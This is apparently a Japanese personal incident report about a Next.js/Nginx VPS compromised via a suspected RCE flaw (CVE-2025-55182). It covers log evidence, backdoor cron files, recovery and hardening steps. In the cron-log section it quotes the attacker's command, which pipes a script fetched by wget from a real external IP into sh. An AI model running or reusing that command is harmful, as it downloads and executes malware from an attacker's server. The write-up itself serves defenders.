1. はじめに
この記事は、筆者が運用していた Next.js + Nginx の VPS が、
2025 年 12 月に外部から侵入され root を乗っ取られた事例をまとめました。
実際にサーバー内に、
- 不正 cron
- 毎分マルウェア実行
- CPU 負荷の異常上昇
が発生しており、攻撃の流れがログから完全に再現できたため、
同じように個人開発でサーバーを運用している方の助けになればと思い記事にしました。
2. 環境
OS:AlmaLinux
Web サーバー:Nginx
アプリ:
Next.js: v15.3.0
Node.js: v18.20.8
React: v19.1.0
DB:PostgreSQL / MySQL(どちらか)
3. 異常に気づいたきっかけ
VPS 提供会社から「異常なトラフィックを検知したため、インスタンスを停止しました」
というメールが届きました。
「これはただ事ではない」と感じ、調査を開始しました。
サーバーを再起動し Grafana を確認したところ、
停止前の13時頃から CPU 使用率が異常に上昇していた ことが判明しました。
この時点で「サーバー内部で何かが動いている」可能性を疑い、
ログ解析へと進むことになりました。
4. Nginx アクセスログの確認
まずは異常発生時間帯のログを確認
POST / 404
POST /_next/flight 404
POST /_react/flight 404
POST /_next/server-actions 404
POST /api/login 404
POST /api/version 404
POST /_next/script 404
POST /_next/server 404
POST /_next/turbopack/flight 404
POST /_next/inline/ 404
POST /_next/metrics 404
POST / 500
POST /_next/flight 500
POST /_react/flight 500
POST /_next/server-actions 500
POST /_next/webpack-hmr 500
POST /_next/redirect 500
→ 典型的な スキャンの痕跡。
5. 決定的だった cron のログ
毎分以下のコマンドが root で実行されていた:
wget -q -O - http://80.64.16.241/unk.sh | sh
さらに、root の crontab が 何十回も書き換えられている:
Dec 11 16:27:29 crontab[...] (root) REPLACE (root)
Dec 11 16:27:29 crontab[...] (root) LIST (root)
(数十回繰り返し)
これは完全に攻撃スクリプトが動いている状態。
6. /etc/cron.d に不審ファイルを発見
ls -l /etc/cron.d
-rwx------ 1 root root 44 Dec 10 09:08 syshelper
-rwx------ 1 root root 42 Dec 10 09:08 systemhelper
- root 所有
- 実行権限 700
- 内容は数十バイトの小さなファイル(典型的なバックドア)
7. 原因について(推定)
ソース自体には
- OS コマンド実行
- eval
- 危険なファイルアップロード
などの「典型的なRCEコード」はありません。
最近、HTTPリクエスト経由でリモートコード実行が可能になるというRCE脆弱性(CVE-2025-55182)が報告されておりますので、この脆弱性が足掛かりとなった可能性が非常に高いと考えてます。
8. 緊急対応として行ったこと
- cron停止
- Nginx停止
- バックドアがないか確認
- 新たなサーバーを構築して移行した
「侵入されたサーバーはクリーン復旧すべきで、不審ファイル削除だけでは安全は担保できない」
という鉄則を痛感しました。
9. 再発防止のために行った設定
- Next.js / Node を 専用ユーザー(sudoなし)で実行するようにした
- Nginx で rate-limit / 不要パスのブロック
- Node と依存ライブラリを最新に保つ
- 監視(CPU / network / cron / systemd)を強化
11. まとめ(得られた教訓)
今回得られた教訓:
Web アプリが安全でも「サーバー構成」が弱いと簡単に乗っ取られる
cron / systemd / SSH のログは最重要
一度侵入されたサーバーは再構築すべき
個人開発でもセキュリティ対策は本気でやる必要がある
